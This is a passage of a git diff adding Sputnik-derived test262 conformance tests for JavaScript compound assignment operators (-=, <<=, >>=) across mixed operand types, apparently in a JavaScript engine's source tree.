+x -= new String("1");
+if (isNaN(x) !== true) {
+ $ERROR('#4: x = undefined; x -= new String("1"); x === Not-a-Number. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.5_T2.7.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.5_T2.7.js
new file mode 100644
index 000000000..b6d0cc0a8
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.5_T2.7.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x -= y is the same as x = x - y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.5_T2.7.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Null
+ */
+
+//CHECK#1
+x = "1";
+x -= null;
+if (x !== 1) {
+ $ERROR('#1: x = "1"; x -= null; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = null;
+x -= "1";
+if (x !== -1) {
+ $ERROR('#2: x = null; x -= "1"; x === -1. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new String("1");
+x -= null;
+if (x !== 1) {
+ $ERROR('#3: x = new String("1"); x -= null; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = null;
+x -= new String("1");
+if (x !== -1) {
+ $ERROR('#4: x = null; x -= new String("1"); x === -1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.5_T2.8.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.5_T2.8.js
new file mode 100644
index 000000000..61c68cfa3
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.5_T2.8.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x -= y is the same as x = x - y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.5_T2.8.js
+ * @description Type(x) is different from Type(y) and both types vary between Boolean (primitive or object) and Undefined
+ */
+
+//CHECK#1
+x = true;
+x -= undefined;
+if (isNaN(x) !== true) {
+ $ERROR('#1: x = true; x -= undefined; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#2
+x = undefined;
+x -= true;
+if (isNaN(x) !== true) {
+ $ERROR('#2: x = undefined; x -= true; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Boolean(true);
+x -= undefined;
+if (isNaN(x) !== true) {
+ $ERROR('#3: x = new Boolean(true); x -= undefined; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#4
+x = undefined;
+x -= new Boolean(true);
+if (isNaN(x) !== true) {
+ $ERROR('#4: x = undefined; x -= new Boolean(true); x === Not-a-Number. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.5_T2.9.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.5_T2.9.js
new file mode 100644
index 000000000..4881e2d8b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.5_T2.9.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x -= y is the same as x = x - y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.5_T2.9.js
+ * @description Type(x) is different from Type(y) and both types vary between Boolean (primitive or object) and Null
+ */
+
+//CHECK#1
+x = true;
+x -= null;
+if (x !== 1) {
+ $ERROR('#1: x = true; x -= null; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = null;
+x -= true;
+if (x !== -1) {
+ $ERROR('#2: x = null; x -= true; x === -1. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Boolean(true);
+x -= null;
+if (x !== 1) {
+ $ERROR('#3: x = new Boolean(true); x -= null; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = null;
+x -= new Boolean(true);
+if (x !== -1) {
+ $ERROR('#4: x = null; x -= new Boolean(true); x === -1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.6_T1.1.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.6_T1.1.js
new file mode 100644
index 000000000..d4b6680cf
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.6_T1.1.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x <<= y is the same as x = x << y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.6_T1.1.js
+ * @description Type(x) and Type(y) vary between primitive boolean and Boolean object
+ */
+
+//CHECK#1
+x = true;
+x <<= true;
+if (x !== 2) {
+ $ERROR('#1: x = true; x <<= true; x === 2. Actual: ' + (x));
+}
+
+//CHECK#2
+x = new Boolean(true);
+x <<= true;
+if (x !== 2) {
+ $ERROR('#2: x = new Boolean(true); x <<= true; x === 2. Actual: ' + (x));
+}
+
+//CHECK#3
+x = true;
+x <<= new Boolean(true);
+if (x !== 2) {
+ $ERROR('#3: x = true; x <<= new Boolean(true); x === 2. Actual: ' + (x));
+}
+
+//CHECK#4
+x = new Boolean(true);
+x <<= new Boolean(true);
+if (x !== 2) {
+ $ERROR('#4: x = new Boolean(true); x <<= new Boolean(true); x === 2. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.6_T1.2.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.6_T1.2.js
new file mode 100644
index 000000000..63493abb6
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.6_T1.2.js
@@ -0,0 +1,39 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x <<= y is the same as x = x << y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.6_T1.2.js
+ * @description Type(x) and Type(y) vary between primitive number and Number object
+ */
+
+//CHECK#1
+x = 1;
+x <<= 1;
+if (x !== 2) {
+ $ERROR('#1: x = 1; x <<= 1; x === 2. Actual: ' + (x));
+}
+
+//CHECK#2
+x = new Number(1);
+x <<= 1;
+if (x !== 2) {
+ $ERROR('#2: x = new Number(1); x <<= 1; x === 2. Actual: ' + (x));
+}
+
+//CHECK#3
+x = 1;
+x <<= new Number(1);
+if (x !== 2) {
+ $ERROR('#3: x = 1; x <<= new Number(1); x === 2. Actual: ' + (x));
+}
+
+//CHECK#4
+x = new Number(1);
+x <<= new Number(1);
+if (x !== 2) {
+ $ERROR('#4: x = new Number(1); x <<= new Number(1); x === 2. Actual: ' + (x));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.6_T1.3.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.6_T1.3.js
new file mode 100644
index 000000000..8a31b37ed
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.6_T1.3.js
@@ -0,0 +1,52 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x <<= y is the same as x = x << y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.6_T1.3.js
+ * @description Type(x) and Type(y) vary between primitive string and String object
+ */
+
+//CHECK#1
+x = "1";
+x <<= "1";
+if (x !== 2) {
+ $ERROR('#1: x = "1"; x <<= "1"; x === 2. Actual: ' + (x));
+}
+
+//CHECK#2
+x = new String("1");
+x <<= "1";
+if (x !== 2) {
+ $ERROR('#2: x = new String("1"); x <<= "1"; x === 2. Actual: ' + (x));
+}
+
+//CHECK#3
+x = "1";
+x <<= new String("1");
+if (x !== 2) {
+ $ERROR('#3: x = "1"; x <<= new String("1"); x === 2. Actual: ' + (x));
+}
+
+//CHECK#4
+x = new String("1");
+x <<= new String("1");
+if (x !== 2) {
+ $ERROR('#4: x = new String("1"); x <<= new String("1"); x === 2. Actual: ' + (x));
+}
+
+//CHECK#5
+x = "x";
+x <<= "1";
+if (x !== 0) {
+ $ERROR('#5: x = "x"; x <<= "1"; x === 0. Actual: ' + (x));
+}
+
+//CHECK#6
+x = "1";
+x <<= "x";
+if (x !== 1) {
+ $ERROR('#6: x = "1"; x <<= "x"; x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.6_T1.4.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.6_T1.4.js
new file mode 100644
index 000000000..1c1a81781
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.6_T1.4.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x <<= y is the same as x = x << y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.6_T1.4.js
+ * @description Type(x) and Type(y) vary between Null and Undefined
+ */
+
+//CHECK#1
+x = null;
+x <<= undefined;
+if (x !== 0) {
+ $ERROR('#1: x = null; x <<= undefined; x === 0. Actual: ' + (x));
+}
+
+//CHECK#2
+x = undefined;
+x <<= null;
+if (x !== 0) {
+ $ERROR('#2: x = undefined; x <<= null; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = undefined;
+x <<= undefined;
+if (x !== 0) {
+ $ERROR('#3: x = undefined; x <<= undefined; x === 0. Actual: ' + (x));
+}
+
+//CHECK#4
+x = null;
+x <<= null;
+if (x !== 0) {
+ $ERROR('#4: x = null; x <<= null; x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.6_T2.1.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.6_T2.1.js
new file mode 100644
index 000000000..9348c745e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.6_T2.1.js
@@ -0,0 +1,66 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x <<= y is the same as x = x << y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.6_T2.1.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Boolean (primitive and object)
+ */
+
+//CHECK#1
+x = true;
+x <<= 1;
+if (x !== 2) {
+ $ERROR('#1: x = true; x <<= 1; x === 2. Actual: ' + (x));
+}
+
+//CHECK#2
+x = 1;
+x <<= true;
+if (x !== 2) {
+ $ERROR('#2: x = 1; x <<= true; x === 2. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Boolean(true);
+x <<= 1;
+if (x !== 2) {
+ $ERROR('#3: x = new Boolean(true); x <<= 1; x === 2. Actual: ' + (x));
+}
+
+//CHECK#4
+x = 1;
+x <<= new Boolean(true);
+if (x !== 2) {
+ $ERROR('#4: x = 1; x <<= new Boolean(true); x === 2. Actual: ' + (x));
+}
+
+//CHECK#5
+x = true;
+x <<= new Number(1);
+if (x !== 2) {
+ $ERROR('#5: x = true; x <<= new Number(1); x === 2. Actual: ' + (x));
+}
+
+//CHECK#6
+x = new Number(1);
+x <<= true;
+if (x !== 2) {
+ $ERROR('#6: x = new Number(1); x <<= true; x === 2. Actual: ' + (x));
+}
+
+//CHECK#7
+x = new Boolean(true);
+x <<= new Number(1);
+if (x !== 2) {
+ $ERROR('#7: x = new Boolean(true); x <<= new Number(1); x === 2. Actual: ' + (x));
+}
+
+//CHECK#8
+x = new Number(1);
+x <<= new Boolean(true);
+if (x !== 2) {
+ $ERROR('#8: x = new Number(1); x <<= new Boolean(true); x === 2. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.6_T2.2.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.6_T2.2.js
new file mode 100644
index 000000000..2cd913d8e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.6_T2.2.js
@@ -0,0 +1,80 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x <<= y is the same as x = x << y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.6_T2.2.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and String (primitive and object)
+ */
+
+//CHECK#1
+x = "1";
+x <<= 1;
+if (x !== 2) {
+ $ERROR('#1: x = "1"; x <<= 1; x === 2. Actual: ' + (x));
+}
+
+//CHECK#2
+x = 1;
+x <<= "1";
+if (x !== 2) {
+ $ERROR('#2: x = 1; x <<= "1"; x === 2. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new String("1");
+x <<= 1;
+if (x !== 2) {
+ $ERROR('#3: x = new String("1"); x <<= 1; x === 2. Actual: ' + (x));
+}
+
+//CHECK#4
+x = 1;
+x <<= new String("1");
+if (x !== 2) {
+ $ERROR('#4: x = 1; x <<= new String("1"); x === 2. Actual: ' + (x));
+}
+
+//CHECK#5
+x = "1";
+x <<= new Number(1);
+if (x !== 2) {
+ $ERROR('#5: x = "1"; x <<= new Number(1); x === 2. Actual: ' + (x));
+}
+
+//CHECK#6
+x = new Number(1);
+x <<= "1";
+if (x !== 2) {
+ $ERROR('#6: x = new Number(1); x <<= "1"; x === 2. Actual: ' + (x));
+}
+
+//CHECK#7
+x = new String("1");
+x <<= new Number(1);
+if (x !== 2) {
+ $ERROR('#7: x = new String("1"); x <<= new Number(1); x === 2. Actual: ' + (x));
+}
+
+//CHECK#8
+x = new Number(1);
+x <<= new String("1");
+if (x !== 2) {
+ $ERROR('#8: x = new Number(1); x <<= new String("1"); x === 2. Actual: ' + (x));
+}
+
+//CHECK#9
+x = "x";
+x <<= 1;
+if (x !== 0) {
+ $ERROR('#9: x = "x"; x <<= 1; x === 0. Actual: ' + (x));
+}
+
+//CHECK#10
+x = 1;
+x <<= "x";
+if (x !== 1) {
+ $ERROR('#10: x = 1; x <<= "x"; x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.6_T2.3.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.6_T2.3.js
new file mode 100644
index 000000000..6040e1de8
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.6_T2.3.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x <<= y is the same as x = x << y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.6_T2.3.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Null
+ */
+
+//CHECK#1
+x = 1;
+x <<= null;
+if (x !== 1) {
+ $ERROR('#1: x = 1; x <<= null; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = null;
+x <<= 1;
+if (x !== 0) {
+ $ERROR('#2: x = null; x <<= 1; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Number(1);
+x <<= null;
+if (x !== 1) {
+ $ERROR('#3: x = new Number(1); x <<= null; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = null;
+x <<= new Number(1);
+if (x !== 0) {
+ $ERROR('#4: x = null; x <<= new Number(1); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.6_T2.4.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.6_T2.4.js
new file mode 100644
index 000000000..1eee51320
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.6_T2.4.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x <<= y is the same as x = x << y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.6_T2.4.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Undefined
+ */
+
+//CHECK#1
+x = 1;
+x <<= undefined;
+if (x !== 1) {
+ $ERROR('#1: x = 1; x <<= undefined; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = undefined;
+x <<= 1;
+if (x !== 0) {
+ $ERROR('#2: x = undefined; x <<= 1; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Number(1);
+x <<= undefined;
+if (x !== 1) {
+ $ERROR('#3: x = new Number(1); x <<= undefined; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = undefined;
+x <<= new Number(1);
+if (x !== 0) {
+ $ERROR('#4: x = undefined; x <<= new Number(1); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.6_T2.5.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.6_T2.5.js
new file mode 100644
index 000000000..7616e4e7c
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.6_T2.5.js
@@ -0,0 +1,66 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x <<= y is the same as x = x << y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.6_T2.5.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Boolean (primitive and object)
+ */
+
+//CHECK#1
+x = true;
+x <<= "1";
+if (x !== 2) {
+ $ERROR('#1: x = true; x <<= "1"; x === 2. Actual: ' + (x));
+}
+
+//CHECK#2
+x = "1";
+x <<= true;
+if (x !== 2) {
+ $ERROR('#2: x = "1"; x <<= true; x === 2. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Boolean(true);
+x <<= "1";
+if (x !== 2) {
+ $ERROR('#3: x = new Boolean(true); x <<= "1"; x === 2. Actual: ' + (x));
+}
+
+//CHECK#4
+x = "1";
+x <<= new Boolean(true);
+if (x !== 2) {
+ $ERROR('#4: x = "1"; x <<= new Boolean(true); x === 2. Actual: ' + (x));
+}
+
+//CHECK#5
+x = true;
+x <<= new String("1");
+if (x !== 2) {
+ $ERROR('#5: x = true; x <<= new String("1"); x === 2. Actual: ' + (x));
+}
+
+//CHECK#6
+x = new String("1");
+x <<= true;
+if (x !== 2) {
+ $ERROR('#6: x = new String("1"); x <<= true; x === 2. Actual: ' + (x));
+}
+
+//CHECK#7
+x = new Boolean(true);
+x <<= new String("1");
+if (x !== 2) {
+ $ERROR('#7: x = new Boolean(true); x <<= new String("1"); x === 2. Actual: ' + (x));
+}
+
+//CHECK#8
+x = new String("1");
+x <<= new Boolean(true);
+if (x !== 2) {
+ $ERROR('#8: x = new String("1"); x <<= new Boolean(true); x === 2. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.6_T2.6.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.6_T2.6.js
new file mode 100644
index 000000000..6fbf4f4f2
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.6_T2.6.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x <<= y is the same as x = x << y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.6_T2.6.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Undefined
+ */
+
+//CHECK#1
+x = "1";
+x <<= undefined;
+if (x !== 1) {
+ $ERROR('#1: x = "1"; x <<= undefined; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = undefined;
+x <<= "1";
+if (x !== 0) {
+ $ERROR('#2: x = undefined; x <<= "1"; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new String("1");
+x <<= undefined;
+if (x !== 1) {
+ $ERROR('#3: x = new String("1"); x <<= undefined; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = undefined;
+x <<= new String("1");
+if (x !== 0) {
+ $ERROR('#4: x = undefined; x <<= new String("1"); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.6_T2.7.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.6_T2.7.js
new file mode 100644
index 000000000..ce324f83a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.6_T2.7.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x <<= y is the same as x = x << y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.6_T2.7.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Null
+ */
+
+//CHECK#1
+x = "1";
+x <<= null;
+if (x !== 1) {
+ $ERROR('#1: x = "1"; x <<= null; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = null;
+x <<= "1";
+if (x !== 0) {
+ $ERROR('#2: x = null; x <<= "1"; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new String("1");
+x <<= null;
+if (x !== 1) {
+ $ERROR('#3: x = new String("1"); x <<= null; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = null;
+x <<= new String("1");
+if (x !== 0) {
+ $ERROR('#4: x = null; x <<= new String("1"); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.6_T2.8.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.6_T2.8.js
new file mode 100644
index 000000000..606ae17bc
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.6_T2.8.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x <<= y is the same as x = x << y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.6_T2.8.js
+ * @description Type(x) is different from Type(y) and both types vary between Boolean (primitive or object) and Undefined
+ */
+
+//CHECK#1
+x = true;
+x <<= undefined;
+if (x !== 1) {
+ $ERROR('#1: x = true; x <<= undefined; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = undefined;
+x <<= true;
+if (x !== 0) {
+ $ERROR('#2: x = undefined; x <<= true; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Boolean(true);
+x <<= undefined;
+if (x !== 1) {
+ $ERROR('#3: x = new Boolean(true); x <<= undefined; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = undefined;
+x <<= new Boolean(true);
+if (x !== 0) {
+ $ERROR('#4: x = undefined; x <<= new Boolean(true); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.6_T2.9.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.6_T2.9.js
new file mode 100644
index 000000000..2b0820a85
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.6_T2.9.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x <<= y is the same as x = x << y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.6_T2.9.js
+ * @description Type(x) is different from Type(y) and both types vary between Boolean (primitive or object) and Null
+ */
+
+//CHECK#1
+x = true;
+x <<= null;
+if (x !== 1) {
+ $ERROR('#1: x = true; x <<= null; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = null;
+x <<= true;
+if (x !== 0) {
+ $ERROR('#2: x = null; x <<= true; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Boolean(true);
+x <<= null;
+if (x !== 1) {
+ $ERROR('#3: x = new Boolean(true); x <<= null; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = null;
+x <<= new Boolean(true);
+if (x !== 0) {
+ $ERROR('#4: x = null; x <<= new Boolean(true); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.7_T1.1.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.7_T1.1.js
new file mode 100644
index 000000000..aeb328d7c
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.7_T1.1.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x >>= y is the same as x = x >> y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.7_T1.1.js
+ * @description Type(x) and Type(y) vary between primitive boolean and Boolean object
+ */
+
+//CHECK#1
+x = true;
+x >>= true;
+if (x !== 0) {
+ $ERROR('#1: x = true; x >>= true; x === 0. Actual: ' + (x));
+}
+
+//CHECK#2
+x = new Boolean(true);
+x >>= true;
+if (x !== 0) {
+ $ERROR('#2: x = new Boolean(true); x >>= true; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = true;
+x >>= new Boolean(true);
+if (x !== 0) {
+ $ERROR('#3: x = true; x >>= new Boolean(true); x === 0. Actual: ' + (x));
+}
+
+//CHECK#4
+x = new Boolean(true);
+x >>= new Boolean(true);
+if (x !== 0) {
+ $ERROR('#4: x = new Boolean(true); x >>= new Boolean(true); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.7_T1.2.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.7_T1.2.js
new file mode 100644
index 000000000..dc83e1ad0
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.7_T1.2.js
@@ -0,0 +1,39 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x >>= y is the same as x = x >> y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.7_T1.2.js
+ * @description Type(x) and Type(y) vary between primitive number and Number object
+ */
+
+//CHECK#1
+x = 1;
+x >>= 1;
+if (x !== 0) {
+ $ERROR('#1: x = 1; x >>= 1; x === 0. Actual: ' + (x));
+}
+
+//CHECK#2
+x = new Number(1);
+x >>= 1;
+if (x !== 0) {
+ $ERROR('#2: x = new Number(1); x >>= 1; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = 1;
+x >>= new Number(1);
+if (x !== 0) {
+ $ERROR('#3: x = 1; x >>= new Number(1); x === 0. Actual: ' + (x));
+}
+
+//CHECK#4
+x = new Number(1);
+x >>= new Number(1);
+if (x !== 0) {
+ $ERROR('#4: x = new Number(1); x >>= new Number(1); x === 0. Actual: ' + (x));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.7_T1.3.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.7_T1.3.js
new file mode 100644
index 000000000..9513cf37d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.7_T1.3.js
@@ -0,0 +1,52 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x >>= y is the same as x = x >> y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.7_T1.3.js
+ * @description Type(x) and Type(y) vary between primitive string and String object
+ */
+
+//CHECK#1
+x = "1";
+x >>= "1";
+if (x !== 0) {
+ $ERROR('#1: x = "1"; x >>= "1"; x === 0. Actual: ' + (x));
+}
+
+//CHECK#2
+x = new String("1");
+x >>= "1";
+if (x !== 0) {
+ $ERROR('#2: x = new String("1"); x >>= "1"; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = "1";
+x >>= new String("1");
+if (x !== 0) {
+ $ERROR('#3: x = "1"; x >>= new String("1"); x === 0. Actual: ' + (x));
+}
+
+//CHECK#4
+x = new String("1");
+x >>= new String("1");
+if (x !== 0) {
+ $ERROR('#4: x = new String("1"); x >>= new String("1"); x === 0. Actual: ' + (x));
+}
+
+//CHECK#5
+x = "x";
+x >>= "1";
+if (x !== 0) {
+ $ERROR('#5: x = "x"; x >>= "1"; x === 0. Actual: ' + (x));
+}
+
+//CHECK#6
+x = "1";
+x >>= "x";
+if (x !== 1) {
+ $ERROR('#6: x = "1"; x >>= "x"; x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.7_T1.4.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.7_T1.4.js
new file mode 100644
index 000000000..7195a5e44
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.7_T1.4.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x >>= y is the same as x = x >> y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.7_T1.4.js
+ * @description Type(x) and Type(y) vary between Null and Undefined
